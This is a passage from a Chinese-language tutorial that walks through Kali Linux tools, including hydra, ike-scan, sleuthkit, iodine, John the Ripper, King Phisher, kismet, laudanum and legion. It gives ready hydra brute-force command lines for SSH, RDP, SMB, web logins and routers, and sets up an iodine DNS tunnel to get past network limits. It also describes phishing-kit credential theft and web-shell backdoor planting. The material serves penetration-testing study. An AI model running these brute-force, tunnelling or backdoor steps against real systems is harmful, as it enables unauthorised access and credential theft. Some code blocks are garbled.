-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。
1
2
3
4
5
6
7
8
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意:
1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。

三、案例分析

暴破ssh登录密码

环境介绍

1
2
3
4
攻击机:kali
装有hydra工具
靶机:192.168.154.131
安装ssh服务,正常运行

为了测试方便,我们创建两个简单的字典文件,如下:

image-20220411232113611

开始爆破

根据命令参数,组织参数格式如下:

1
root@kali:/mnt# hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh

破解成功

因为字典数量比较少,我们可以轻易的破解成功,但是实际情况下,我们可能需要很久。

image-20220411232131187

三、各种协议破解汇总

FTP协议破解

1
2
3
破解ftp:

hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v

http协议破解

1
2
3
4
5
6
7
8
9
10
11
12
13
get方式提交,破解web登录:

hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.php

post方式提交,破解web登录:

hydra -f -l 用户名 -P 密码字典 -V -s 9900 IP地址 http-post-form "/admin/index.php?action=login:user=USER&pw=PASS:"


#/index.php …这个是登录的 url
#后门是POST的数据 其中的用户名密码使用 USER PASS 来代替
#然后是如果登录出错 会出现的字符 。。。然后开始破解

https协议破解

1
2
3
破解https

hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https

路由器破解

1
2
3
4
hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
-l admin 为尝试破解的用户名。

# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)

http-proxy协议破解

1
2
3
破解http-proxy:

hydra -l admin -P 字典.txt http-proxy://IP地址

smb破解

1
2
3
破解smb:

hydra -l 用户名字典 -P 密码字典 IP地址 smb

Windows远程桌面

1
2
3
破解rdp(windows远程登录):

hydra ip地址 rdp -l administrator -P 密码字典.txt -V

邮箱pop3

1
2
3
破解邮箱pop3:

hydra -l 用户名 -P 密码字典.txt my.pop3.mail pop3

telnet破解

1
hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V

语音通讯工具teamspeak

1
hydra -l 用户名字典 -P 密码字典.txt -s 端口号 -vV ip teamspeak

cisco

1
2
hydra -P 密码字典 IP地址 cisco
hydra -m cloud -P 密码字典 IP地址 cisco-enable

四、Kali自带密码字典

暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下

image-20220411232800693

dirb

1
2
3
4
5
6
7
8
9
10
11
12
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试

dirbuster

1
2
3
apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表大,中,小 big,medium,small

fern-wifi

1
common.txt #公共wifi账户密码

metasploit

metasploit下有各种类型的字典

image-20220411232739785

wfuzz

模糊测试,各种字典

image-20220411232820868

hydra-gtk

image-20220411232953618

hydra开代理进行网页加密破解等

i

icat-sleuthkit

用于恢复文件

ifind

描述:

查找已分配给定磁盘单元或文件名的元数据结构。
  ifind查找具有data_unit分配了数据单元或具有给定文件名的元数据结构。 在某些情况下,任何结构都可以取消分配,这仍然可以找到结果。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
有几个必需和可选参数。 必须每次指定图像文件名:
image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。
您还必须指定要查找的内容,并包括以下内容之一:
-d data _unit
查找已分配给定数据单元(块,集群等)的元数据结构。

-n file
查找给定文件名指向的元数据结构。

-p par_inode
在NTFS映像中查找以给定inode为父节点的未分配MFT条目。 可以与-l和-z一起使用。

还有几个可选参数:
-a
查找所有元数据结构(仅在使用data_unit查找时有效)。

-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-l
列出使用“ -p”找到的每个文件的详细信息,例如“ fls -l”。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v
详细输出到stderr。

-V
显示版本信息

-z ZONE
如果给出'-p -l',这将为正确的时间设置时区。

也是读取磁盘文件的软件

ike-scan

简介

ike-scan可以发现IKE主机,也可以使用重传回退模式对它们进行指纹识别。

ike-scan可以执行以下功能:

1
2
3
4
5
•发现确定给定IP范围内的哪些主机正在运行IKE。通过显示那些响应ike-scan发送的IKE请求的主机来完成此操作。
•指纹确定主机正在使用哪种IKE实施,并在某些情况下确定主机正在运行的软件的版本。这是通过两种方式完成的:首先是UDP退避指纹识别,它包括记录来自目标主机的IKE响应数据包的时间,并将观察到的重传退避模式与已知模式进行比较;其次是供应商ID指纹识别,该指纹将VPN服务器中的供应商ID负载与已知的供应商ID模式进行比较。
•转换枚举查找IKE阶段1的VPN服务器支持哪些转换属性(例如,加密算法,哈希算法等)。
•用户枚举对于某些VPN系统,请发现有效的VPN用户名。
•预共享密钥破解通过预共享密钥身份验证为IKE积极模式执行脱机字典或暴力破解密码。它使用ike-scan来获取哈希值和其他参数,并使用psk-crack(这是ike-scan软件包的一部分)来执行破解。

重传回退指纹识别概念在UDP退回指纹识别纸中进行了更详细的讨论,该文件应作为UDP退回指纹识别纸包含在ike-scan套件中。

该程序将IKE阶段1(主模式或攻击模式)请求发送到指定的主机,并显示收到的所有响应。它处理带有重发的重试和重传以应对数据包丢失。它还限制了出站IKE数据包使用的带宽量。

IKE是Internet密钥交换协议,它是IPsec使用的密钥交换和身份验证机制。几乎所有现代VPN系统都实现IPsec,并且绝大多数IPsec VPN使用IKE进行密钥交换。主模式是为IKE交换的第1阶段定义的模式之一(另一种定义的模式是攻击模式)。RFC 2409第5节指定必须实现主模式,因此可以预期所有IKE实现都支持主模式。

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
ike-scan [选项] [主机地址...]

--help或-h显示此使用信息并退出。

 --file = <fn>或-f <fn>从指定的文件中读取主机名或地址而不是从命令行。一个名字或IP每行地址对标准输入使用“ - ”。

 --sport = <p>或-s <p>将UDP源端口设置为<p>default = 5000 = random

    一些IKE实现需要客户端使用UDP源端口500,不会与其他端口通话。请注意,通常需要超级用户权限使用低于1024的非零源端口系统上的一个进程可以绑定到给定的源端口,在任何一个时间使用--nat-t选项更改,默认源端口为4500

 --dport = <p>或-d <p>将UDP目标端口设置为<p>default = 500

    UDP端口500是ISAKMP的分配的端口号,这是大多数(如果不是全部)IKE使用的端口实现。使用--nat-t选项更改,默认目标端口为4500

 --retry = <n>或-r <n>将每个主机的总尝试次数设置为<n>,默认= 3

 --timeout = <n>或-t <n>将每个主机超时的初始设置设置为<n> ms,默认= 500

    此超时是发送到每个主机的第一个数据包。随后的超时乘以回退系数设置为--backoff。

 --bandwidth = <n>或-B <n>将所需的出站带宽设置为<n>,默认= 56000

    默认值为每秒位数。如果你将“K”附加到值,则单位是千比特每秒;如果你附“M”值,单位是兆比特每秒。“K”和“M”后缀代表十进制,而不是二进制,倍数。

    所以64K是64000,而不是65536

 --interval = <n>或-i <n>将最小数据包间隔设置为<n> ms。

 分组间隔将不小于此数。指定的时间间隔默认为毫秒。如果“u”附加到该值,则间隔是微秒,如果附加了“s”间隔是秒。如果你想要使用一个给定的带宽,那就是更容易使用--bandwidth选项。您不能同时指--interval和--bandwidth,因为他们只是改变的不同方法相同的底层变量。

 --backoff = <b>或-b <b>将超时退避因子设置为<b>,默认= 1.50

 每个主机的超时乘以这个因素每次超时后所以,如果重试的次数是3,初始的每个主机超时是500ms和退货因子是1.5,那么第一个超时就是500ms,第二个750ms和第三个1125ms。

 --verbose或-v显示详细的进度消息
  使用多次以获得更大的效果:

    1 - 显示每个通行证何时完成收到包含无效Cookie的数据包。

    2 - 显示发送和接收的每个数据包主机从列表中删除。

    3 - 显示主机,供应商ID和退货清单扫描开始之前。X-45454545 CEEC X-这样打印出较少的协议信息输出线较短。

 - multiline或-M分割多行的有效载荷解码。

 --lifetime = <s>或-l <s>将IKE生存期设置为秒,默认= 28800

  --lifesize = <s>或-z <s>将IKE生活设置为千字节,默认= 0

 --auth = <n>或-m <n>设置身份验证。方法为<n>default = 1(PSK)。

    RFC定义的值为15.请参见RFC 2409附录A.检查点混合模式为64221。GSS(Windows“Kerberos”)为65001。XAUTH使用6500165010。这不适用于IKEv2。

 --version或-V显示程序版本并退出。

 --vendor = <v>或-e <v>将供应商ID字符串设置为十六进制值<v>

主机输入和内存要求

可以在命令行上指定要扫描的主机,也可以使用该--file=<fn>选项从输入文件中读取。该程序可以处理大量主机,而这些主机仅受存储host_entry结构列表所需的内存量限制。在32位系统上,每个host_entry结构都需要45字节,因此B类网络(65534台主机)将需要大约2.8 MB的列表空间。可以将主机指定为IP地址或主机名,但是该程序会将所有主机内部存储为IP地址,并且只会在输出中显示IP地址(ike-scan调用gethostbyname(3)以确定每个主机的IP地址,但这可以通过--nodns选项禁用)。

限速

该程序限制了它发送IKE数据包的速率,以确保它不会使网络连接过载。默认情况下,它使用每秒56000位的出站数据速率。可以使用该--bandwidth选项进行更改。

如果要以特定速率发送数据包,则可以使用该--interval选项。

Cookie生成和远程主机识别

ike-scan为每个主机生成唯一的IKE cookie,并使用这些cookie来确定响应数据包属于哪个主机。请注意,它不依赖于响应数据包的源IP地址,因为响应数据包可能是从与原始发送地址不同的IP地址发送的。有关此示例,请参见“程序输出”部分。

通过获取gettimeofday()返回的当前时间的MD5哈希值的前64位(以秒和微秒为单位),唯一的主机号和主机IP地址来生成cookie。这样可以确保cookie具有合理确定性的唯一性。

如果--verbose有效,则收到的任何与cookie不匹配的数据包都将产生如下消息:

1
Ignoring 84 bytes from 172.16.2.2 with unknown cookie 195c837e5a39f657

如果--verbose未生效,则将忽略这些数据包。

此类Cookie不匹配的原因可能是:

  • 主机仍在向先前的ike-scan运行返回IKE响应。
  • 该数据包不是IKE数据包,或已以某种方式损坏。要么
  • 已收到与ike-scan无关的IKE数据包。

例子

以下示例将对单个主机172.16.2.2运行IKE检测。不会进行退避指纹识别,并且所有选项(超时,重试,变换集等)将是默认选项。

  • ```
    ike-scan 172.16.2.2
    1
    2
    3
    4
    5

    这将从文件“ hostlist.txt”中读取目标主机。

    - ```
    ike-scan --file=hostlist.txt

这将从标准输入中读取主机,并执行IKE检测和退避指纹识别。退避等待时间指定为20秒。

  • ```
    cat hostlist.txt | ike-scan –file=- –showbackoff=20
    1
    2
    3
    4
    5

    这将对172.16.0.0/16指定的网络中的所有主机(包括网络和广播地址)运行ike-scan。在这种情况下,这将导致总共扫描65536台主机-从172.16.0.0172.16.255.255(含)。

    - ```
    ike-scan 172.16.0.0/16

这使用范围表示法来扫描从172.16.0.0到172.16.255.255(含)之间的总共65536台主机。

  • ```
    ike-scan 172.16.0.0-172.16.255.255
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36



    ## ils-sleuthkit(未知)

    ## img_cat

    ### 描述:

    输出图像文件的内容。
      img_cat输出图像文件的内容。 非原始图像文件将具有嵌入的数据和[元数据](https://so.csdn.net/so/search?q=元数据&spm=1001.2101.3001.7020)。 img_cat将仅输出数据。 这使您可以将嵌入格式转换为原始格式,或者通过将输出传递到适当的工具来计算数据的MD5哈希值。

    ### 参数:

    ```bash
    -i imgtype
    标识图像文件的类型,例如raw或aff。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

    -b dev_sector_size
    基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

    -s start_sector
    起始的扇区号。

    -e stop_sector
    要停止的扇区号。

    -v
    将调试语句的详细输出输出到stderr

    -V
    显示版本信息

    image [images]
    要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

img_stat

描述:

 显示图像文件的详细信息。
  img_stat显示与图像文件关联的详细信息。 此命令的输出特定于图像格式。 对于分割图像格式,将至少给出大小,并给出每个文件的字节范围。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-t
仅打印图像类型。

-v
将调试语句的详细输出输出到stderr

-V
显示版本信息

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

img开头的都是扫磁盘的

iodine

在受限制的网络中,如果DNS请求没有被限制,就可以通过DNS请求建立隧道而突破网络限制。iodine是Kali Linux提供的一款DNS隧道工具。该工具分为服务器端iodined和客户端iodine。服务器端iodined提供特定域名的DNS解析服务。当客户端请求该域名的解析,就可以建立隧道连接。该工具不仅可以提供高性能的网络隧道,还能提供额外的安全保证。渗透测试人员可以设置服务的访问密码,来保证该服务不被滥用。

优点

  • 对下行数据不进行编码,因此性能优
  • 支持多平台:Linux、BSD、Mac OS、Windows
  • 最大16个并发链接
  • 强制密码支持
  • 支持同网段隧道IP(不同于服务器、客户端网段)
  • 支持多种 DNS 记录类型
  • 丰富的隧道质量检测措施

防火墙:m0n0wall

桥接模式
IP:192.168.1.10

DNS服务器:win2003

桥接模式
IP:192.168.1.124

本地DNS服务器:LAN_DNS

hostonly:1.1.1.111

服务器:kali

1
2
3
4
5
6
iodined -f -c 10.0.0.1 test.lab.com
#-f:前段显示(可选)
#-c:检查客户端地址(可选)
#IP:服务器端的隧道IP地址(不同于服务器主机IP和客户端主机IP,此IP仅用于隧道之间,在隧道的两道构成独立的网段)
Enter password:pass123 #设置隧道密码
ifconfig #发现多了一块网卡(新建的虚拟网卡,隧道独立使用的网段)

客户端:ubantu

1
2
3
4
5
6
iodine -f 10.0.0.2 test.lab.com
#IP:局域网内部本地DNS服务器IP(可以不设置让他自己找)
Enter password: pass123 ##设置隧道密码
ifconfig #发现多了一块网卡(新建的虚拟网卡,隧道独立使用的网段)
#嵌套隧道
ssh -fgCN -D 7001 root@10.0.0.1

istat

描述:

  显示元数据结构的详细信息(即inode)。
  istat显示uid,gid,模式,大小,链接号,修改,访问,更改的时间以及结构已分配的所有磁盘单元。

选项如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-B num
显示num个磁盘单元的地址。 在未分配大小为0的inode但仍具有块指针时很有用。

-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-s seconds
原始系统的时间偏差(以秒为单位)。 例如,如果原始系统的速度慢了100秒,则该值为-100。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v
将调试语句的详细输出输出到stderr

-V
显示版本号

-z zone
原始系统时区的ASCII字符串。 例如,EST5EDT或GMT。 这些字符串由操作系统定义,并且可能会有所不同。 注意:自TCTUTILs以来,这种情况已更改。

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个文件(例如,以'.001'结尾的指示),则后续的图像段将自动包含在内。索引节点元数据编号以显示统计信息。

j

jcat

描述:

在文件系统日志中显示块的内容。
  jcat显示文件系统日志中日志块的内容。可以指定日志的inode地址或使用默认位置。 请注意,块地址是日记块地址,而不是文件系统块。 原始输出提供给STDOUT。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-V
显示版本信息

-v
详细输出

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果图像是分为多个部分。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则后续的图像段将自动包含在内。

[inode]
可以在其中找到文件系统日志的索引节点。

jblk
要显示的日志块。

jls

描述:

列出文件系统日志的内容。
  jls列出文件系统日志中的记录和条目。 如果给出了inode,则它将在那里查找日志。 否则,它将使用默认位置。 输出列出了日记帐编号和描述。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-i imgtype
标识图像文件的类型,例如原始或拆分。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-V
显示版本信息

-v
详细输出

image [images]
一个(或多个,如果已拆分)磁盘或分区映像,其格式以“ -i”给出。

[inode]
可以在其中找到文件系统日志的索引节点。

john

描述:

John the Ripper 是一款大受欢迎的、免费的开源软件。也是一个基于字典的快速破解密码的工具,是一款用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DESMD4MD5 等。 John the Ripper 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 UnixLinuxWindowsDOS 模式、 BeOSOpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
选 项

描 述

--single

single crack 模式,使用配置文件中的规则进行破解

--wordlist=FILE--stdin

字典模式,从 FILE 或标准输入中读取词汇

--rules

打开字典模式的词汇表切分规则

--incremental[=MODE]

使用增量模式

--external=MODE

打开外部模式或单词过滤,使用 [List.External:MODE] 节中定义的外部函数

--stdout[=LENGTH]

不进行破解,仅仅把生成的、要测试是否为口令的词汇输出到标准输出上

--restore[=NAME]

恢复被中断的破解过程,从指定文件或默认为 $JOHN/john.rec 的文件中读取破解过程的状态信息

--session=NAME

将新的破解会话命名为 NAME ,该选项用于会话中断恢复和同时运行多个破解实例的情况

--status[=NAME]

显示会话状态

--make-charset=FILE

生成一个字符集文件,覆盖 FILE 文件,用于增量模式

--show

显示已破解口令

--test

进行基准测试

--users=[-]LOGIN|UID[,..]

选择指定的一个或多个账户进行破解或其他操作,列表前的减号表示反向操作,说明对列出账户之外的账户进行破解或其他操作

--groups=[-]GID[,..]

对指定用户组的账户进行破解,减号表示反向操作,说明对列出组之外的账户进行破解。

--shells=[-]SHELL[,..]

对使用指定 shell 的账户进行操作,减号表示反向操作

--salts=[-]COUNT

至少对 COUNT 口令加载加盐,减号表示反向操作

--format=NAME

指定密文格式名称,为 DES/BSDI/MD5/BF/AFS/LM 之一

--save-memory=LEVEL

设置内存节省模式,当内存不多时选用这个选项。 LEVEL 取值在 1~3 之间

示例:

https://blog.csdn.net/i_can1/article/details/107227565

K

Kali Bugs

描述:

探寻本地的kali日志\bugs还有全网讨论的kali bugs

image-20220412202630107image-20220412202647011image-20220412202716270

image-20220412202737706image-20220412202814444

Kali Docs

描述:

kali官网

参数:

image-20220412203023606

Kali linux

描述:

kali官网

参数:

image-20220412203053910

Kali HiDPI Mode

描述:

使用hidpi 也就是本机电脑的分辨率

参数:

image-20220412203323675

看 变得这么大

Kali Tools

描述:

kali工具指南

参数:

Kali Undercover Mode

描述:

kali 变成windows版

参数:

image-20220412203706628

这个好用啊

Kazam

描述:

屏幕录像 截图工具

参数:

image-20220412204552308

King Phisher(未完成)

描述:

King Phisher是一款多功能的钓鱼活动工具包,无论你想将其用于教育目的还是窃取用户的凭证数据,King Phisher都可以帮助你实现你的目标。只需要进行简单的配置,King Phisher就可以帮你同时对成百上千个发动网络钓鱼攻击。除此之外,它还允许我们在消息中嵌入恶意图像文件。

整合了Web服务器

King Phisher内置封装了Web服务器,并默认支持标准Python环境。

开源

采用Python开发的King Phisher意味着任何用户都可以根据自己的需要来修改其源代码,感兴趣或有能力的用户也可以去该项目的GitHub库贡献自己的力量【地址请查看原文】。

不提供Web接口

没有Web接口意味着他人更加难以识别King Phisher用于进行社会工程学活动的服务器了,与此同时,这也降低了King Phisher操作者遇到类似XSS这种Web漏洞的可能性。

示例:

客户端配置

客户端配置文件采用JSON编码格式,其中绝大多数配置项都可以通过GUI界面完成设置。

下列选项用户可以自行修改,但无法通过GUI界面配置:

gui.refresh_frequency(默认: 5 分钟)mailer.max_messages_per_connection(默认: 5)rpc.serializer(默认: 自动选择)ssh_preferred_key(默认: N/A) 消息模板变量

客户端消息模板使用的是Jinja2模板引擎,主要支持以下几种变量:

client.company_name目标用户所在公司名称
client.email_address目标用户的邮箱地址
client.first_name目标用户的名
client.last_name目标用户的姓
client.message_id跟踪标识符(与uid相同)
url.tracking_dot用于追踪消息的图片URL
url.webserver带有uid参数的钓鱼服务器URL
url.webserver_raw不带参数的钓鱼服务器URL
tracking_dot_image_tagimg标签中的跟踪图像
uid跟踪标识符(与client.message_id相同)

注:其中,uid是最重要的一个参数,必须在消息链接中包含uid。

image-20220412205244759

服务端:

kismet

描述:

kismet工具,是一个无线扫描工具,该工具通过测量周围的无线信号,可以扫描到周围附近所用可用的Ap,以及信道等信息。同时还可以捕获网络中的数据包到一个文件中。这样可以方便分析数据包。下面我将详细的介绍kismet 使用的每个步骤。为后续分析数据包打下基础。

示例:

首先插入无线网卡,开启监听模式(混杂模式)

image-20220412210801528image-20220412210819050

打开网址image-20220412210903897

启动kismet服务img

kismet默认服务配置,这里直接点击start即可。之后显示的被定义的资源包,点击yES即可image-20220412211131167

下面显示的是无线网卡配置接口信息,当无线网卡已经启动混杂模式的时候,直接输入wlan0 或者mon0.其他配置可以不用管,之后单击添加ADD,(注:如果监听模式下名字改变,使用自己无线网卡改变后的名字想我的是 wlan0mon)

img

之后进入到扫描周围无线SSID,可以使用工具命令查看某个SSID的详细信息

img

查看SSID链接的客户端信息,可以使用Sort/first SEEN

img

查看ssid的详细信息 选中后回车即可

img退出kismet之后 终端先显示一些日志信息

img

最后查看生成的日志文件

每一次扫描都会生成五个文件,文件的后缀名都不同,每个文件都记录不同的日志

alert: 该文件中所用的警告信息

gpsxml:如果使用了GPS源,则相关的GPS数据保存在这个文件当中。

nettxt:包括收集的文本信息

netxml:包括XML格式的数据

pcapdump:包括整个会话中捕获的数据

img

L

laudanum

描述:

laudanum是Kali Linux预先安装的Web Shell工具。它支持多种Web后台技术,如ASP、 ASP.net 、JSP、PHP、Coldfusion。它提供的后门可以提供DNS、文件系统、代理和Shell的访问。同时,它还针对WordPress搭建的网站,提供封装好的插件。渗透测试人员可以直接通过WordPress插件功能,实现后门的植入,并对服务器进行控制。

Laudanum 是一个可注入文件的集合,旨在在发现 SQL 注入缺陷时用于渗透测试,并针对不同环境提供多种语言。它们提供 shell、DNS 查询、LDAP 检索等功能。

参数:image-20220412221846722

这就是个集合包

lbd

描述:

负载平衡检测器0.4-检查给定的域是否使用负载平衡。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
-a
等效于-v -t ANY

-A
就像-a一样,但是省略了RRSIG,NSEC,NSEC3

-c
指定非IN数据的查询类

-C
比较权威名称服务器上的SOA记录

-d
等效于-v

-l
使用AXFR列出域中的所有主机

-m
设置内存调试标志(跟踪|记录|使用)

-N
更改在查找根之前允许的点数

-p
指定服务器上要查询的端口

-r
禁用递归处理

-R
指定UDP数据包的重试次数

-s
SERVFAIL响应应停止查询

-t
指定查询类型

-T
启用TCP / IP模式

-U
启用UDP模式

-v
启用详细输出

-V
打印版本号并退出

-w
指定永久等待应答

-W
指定等待回复的时间

-4
仅使用IPv4查询传输

-6
仅使用IPv6查询传输

用法

测试baidu.com的http的负载均衡,发现负载均衡,发现方式;DNS,HTTP[Diff]

image-20220412222702466

测试https的负载均衡

image-20220412222749011

legion

描述:

Legion是SECFORCE的Sparta的分支,是一个开源,易于使用,超扩展和半自动化的网络渗透测试框架,针对发现,侦察和利用漏洞的信息系统。 Legion由GoVanguard开发和维护。有关军团的更多信息,包括产品路线图,可以在其项目页面上找到,网址为https://GoVanguard.com/legion。
特点
使用NMAP,whataweb,nikto,Vulners,Hydra,SMBenum,dirbuster,sslyzer,webslayer等进行自动侦查和扫描(具有近100个自动调度的脚本)
方便使用的图形界面,丰富的上下文菜单和面板,可让渗透测试人员快速找到和利用主机上的攻击媒介
模块化功能使用户可以轻松自定义Legion并自动调用自己的脚本/工具
高度可定制的阶段扫描,可实现类似ninja的IPS逃避
自动检测CPE(通用平台枚举)和CVE(通用漏洞和披露)
将CVE与要利用的漏洞绑定,如Exploit-Database中所述
实时自动保存项目结果和任务

示例:

启动

kali终端直接输入legion即可启动

选择目标

下图中填写的目标可为ip、可为网段、也可为域。

1
2
3
4
192.168.1.0/24
10.10.10.10-20
1.2.3.4
bing.com

image-20220412223448019查看结果

选择完目标后,legion会自动调动脚本进行扫描,这时候只需要等待结果即可,每扫描除一个结果便会下下图标示区域显示

image-20220412223543419端口开放的服务

image-20220412223600920

目标基本信息

image-20220412223621425可能存在的漏洞以及威胁度

image-20220412223652945

LightDM 桌面管理器(GTK+界面)设置

描述:

显示管理器 (display manager) (DM)是一个为你的Linux发行版提供图形登录功能的程序。它控制用户会话并管理用户认证。显示管理器会在你输入用户名和密码后,立即启动显示服务器并加载桌面环境。

参数:

N

NASM shell

描述:

逆向工具

Netwide Assembler NASM是一个80x86和x86-64汇编器,专为便携性和可扩展性而设计模块化。 它支持一系列的目标文件格式,包括Linux和* BSD a.out,ELF,COFF,Mach-O,16位和32位OBJ(OMF)格式,Win32和Win64。 它也会输出纯二进制文件,Intel十六进制和Motorola S-Record格式。 其语法设计简单易懂,类似于“英特尔软件开发人员手册”中的语法,其复杂程度极低 它支持所有目前已知的x86架构扩展,并且对宏有强大的支持。

参数:

组装一个文件,你发出一个窗体的命令

nasm −f[−o]

nasm -f <格式> <文件名> [-o <输出>]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
-o 选项:指定输出文件名称

